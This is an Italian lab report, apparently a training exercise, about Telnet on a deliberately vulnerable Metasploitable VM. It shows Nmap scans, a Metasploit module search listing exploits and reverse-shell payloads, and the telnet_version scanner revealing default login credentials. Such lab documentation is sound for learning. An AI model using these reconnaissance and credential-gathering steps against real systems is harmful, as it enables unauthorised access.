REPORT EXPLOIT TELNET-METASPLOITABLE

La macchina Metasploitable presenta un servizio Telnet su porta 23, che trasferisce il traffico su canale non cifrato, dando la possibilità ad un utente malintenzionato di rubare informazioni sensibili quali username, password e comandi scambiati tra client e server.

In questo caso specifico, verrà sfruttata proprio questa vulnerabilità dal tool Metasploit. Cambiamo gli indirizzi IP di entrambe le macchine:

192.168.1.40 per Metasploitable

192.168.1.25 per Kali Linux

```
# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.25/24
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Necessario sarà testare la connessione tra le macchine tramite ping

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.861 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.782 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=1.03 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=0.729 ms
```

Tramite uno scan con tool Nmap controlliamo i servizi attivi sulle porte dell'indirizzo target ed in seguito, se ne effettuerà uno specifico per la porta d'interesse in questo caso la porta numero 23

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV  192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 04:46 EST
Nmap scan report for 192.168.1.40
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE    SERVICE     VERSION
21/tcp   open     ftp         vsftpd 2.3.4
22/tcp   open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open     telnet      Linux telnetd
25/tcp   open     smtp        Postfix smtpd
53/tcp   open     domain      ISC BIND 9.4.2
80/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open     rpcbind     2 (RPC #100000)
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open     exec        netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     shell       Netkit rshd
1099/tcp open     java-rmi    GNU Classpath grmiregistry
1524/tcp filtered ingreslock
2049/tcp open     nfs         2-4 (RPC #100003)
2121/tcp open     ftp         ProFTPD 1.3.1
3306/tcp open     mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open     postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open     vnc         VNC (protocol 3.3)
6000/tcp open     X11         (access denied)
6667/tcp open     irc         UnrealIRCd
8009/tcp open     ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.99 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -A -p 23  192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 04:48 EST
Nmap scan report for 192.168.1.40
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.58 seconds
```

A questo punto apriamo Metasploit tramite msfconsole, cercando il modulo di exploit ausiliario richiesto, in questo caso auxiliary/scanner/telnet/telnet_version

```
msf6 > search telnet

Matching Modules
================

   #   Name                                                                Disclosure Date  Rank       Check  Description
   -   ----                                                                ---------------  ----       -----  -----------
   0   exploit/linux/misc/asus_infosvr_auth_bypass_exec                    2015-01-04       excellent  No     ASUS infosvr Auth Bypass Command Execution
   1   exploit/linux/http/asuswrt_lan_rce                                  2018-01-22       excellent  No     AsusWRT LAN Unauthenticated Remote Code Execution
   2   auxiliary/server/capture/telnet                                                      normal     No     Authentication Capture: Telnet
   3   auxiliary/scanner/telnet/brocade_enable_login                                        normal     No     Brocade Enable Login Check Scanner
   4   exploit/windows/proxy/ccproxy_telnet_ping                           2004-11-11       average    Yes    CCProxy Telnet Proxy Ping Overflow
   5   auxiliary/dos/cisco/ios_telnet_rocem                                2017-03-17       normal     No     Cisco IOS Telnet Denial of Service
   6   auxiliary/admin/http/dlink_dir_300_600_exec_noauth                  2013-02-04       normal     No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   7   exploit/linux/http/dlink_diagnostic_exec_noauth                     2013-03-05       excellent  No     D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
   8   exploit/linux/http/dlink_dir300_exec_telnet                         2013-04-22       excellent  No     D-Link Devices Unauthenticated Remote Command Execution
   9   exploit/unix/webapp/dogfood_spell_exec                              2009-03-03       excellent  Yes    Dogfood CRM spell.php Remote Command Execution
   10  exploit/freebsd/telnet/telnet_encrypt_keyid                         2011-12-23       great      No     FreeBSD Telnet Service Encryption Key ID Buffer Overflow
   11  exploit/windows/telnet/gamsoft_telsrv_username                      2000-07-17       average    Yes    GAMSoft TelSrv 1.5 Username Buffer Overflow
   12  exploit/windows/telnet/goodtech_telnet                              2005-03-15       average    No     GoodTech Telnet Server Buffer Overflow
   13  exploit/linux/misc/hp_jetdirect_path_traversal                      2017-04-05       normal     No     HP Jetdirect Path Traversal Arbitrary Code Execution
   14  exploit/linux/http/huawei_hg532n_cmdinject                          2017-04-15       excellent  Yes    Huawei HG532n Command Injection
   15  exploit/linux/misc/igel_command_injection                           2021-02-25       excellent  Yes    IGEL OS Secure VNC/Terminal Command Injection RCE
   16  auxiliary/scanner/ssh/juniper_backdoor                              2015-12-20       normal     No     Juniper SSH Backdoor Scanner
   17  auxiliary/scanner/telnet/lantronix_telnet_password                                   normal     No     Lantronix Telnet Password Recovery
   18  auxiliary/scanner/telnet/lantronix_telnet_version                                    normal     No     Lantronix Telnet Service Banner Detection
   19  exploit/linux/telnet/telnet_encrypt_keyid                           2011-12-23       great      No     Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow
   20  auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                        2010-12-21       normal     No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   21  exploit/linux/telnet/netgear_telnetenable                           2009-10-30       excellent  Yes    NETGEAR TelnetEnable
   22  auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass    2021-09-06       normal     Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   23  auxiliary/admin/http/netgear_r6700_pass_reset                       2020-06-15       normal     Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   24  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce     2021-04-21       normal     Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   25  exploit/unix/misc/polycom_hdx_auth_bypass                           2013-01-18       normal     Yes    Polycom Command Shell Authorization Bypass
   26  exploit/unix/misc/polycom_hdx_traceroute_exec                       2017-11-12       excellent  Yes    Polycom Shell HDX Series Traceroute Command Execution
   27  exploit/freebsd/ftp/proftp_telnet_iac                               2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   28  exploit/linux/ftp/proftp_telnet_iac                                 2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   29  auxiliary/scanner/telnet/telnet_ruggedcom                                            normal     No     RuggedCom Telnet Password Generator
   30  auxiliary/scanner/telnet/satel_cmd_exec                             2017-04-07       normal     No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   31  exploit/solaris/telnet/ttyprompt                                    2002-01-18       excellent  No     Solaris in.telnetd TTYPROMPT Buffer Overflow
   32  exploit/solaris/telnet/fuser                                        2007-02-12       excellent  No     Sun Solaris Telnet Remote Authentication Bypass Vulnerability
   33  exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection   2015-12-20       excellent  No     TP-Link SC2020n Authenticated Telnet Injection
   34  auxiliary/scanner/telnet/telnet_login                                                normal     No     Telnet Login Check Scanner
   35  auxiliary/scanner/telnet/telnet_version                                              normal     No     Telnet Service Banner Detection
   36  auxiliary/scanner/telnet/telnet_encrypt_overflow                                     normal     No     Telnet Service Encryption Key ID Overflow Detection
   37  payload/cmd/unix/bind_busybox_telnetd                                                normal     No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   38  payload/cmd/unix/reverse                                                             normal     No     Unix Command Shell, Double Reverse TCP (telnet)
   39  payload/cmd/unix/reverse_ssl_double_telnet                                           normal     No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   40  payload/cmd/unix/reverse_bash_telnet_ssl                                             normal     No     Unix Command Shell, Reverse TCP SSL (telnet)
   41  exploit/linux/ssh/vyos_restricted_shell_privesc                     2018-11-05       great      Yes    VyOS restricted-shell Escape and Privilege Escalation
```

L’exploit necessario in questo caso sarà al numero 35 dell’elenco .

Opportuno sarà il controllo dei parametri da settare con ‘show options’, e completiamo i campi ‘required’ ossia obbligatori.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as
```

Una volta settate inserendo l’Ip di Metasploitable, procediamo con comando ‘exploit’

```
Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    192.168.1.40     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as

msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

```
m\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
```

Sarà stato possibile ottenere username/password per login di Metasploitable.

Inoltre, sempre importante e necessario effettuare un test per assicurarsi che l’exploit sia andato a segno e/o per completarlo.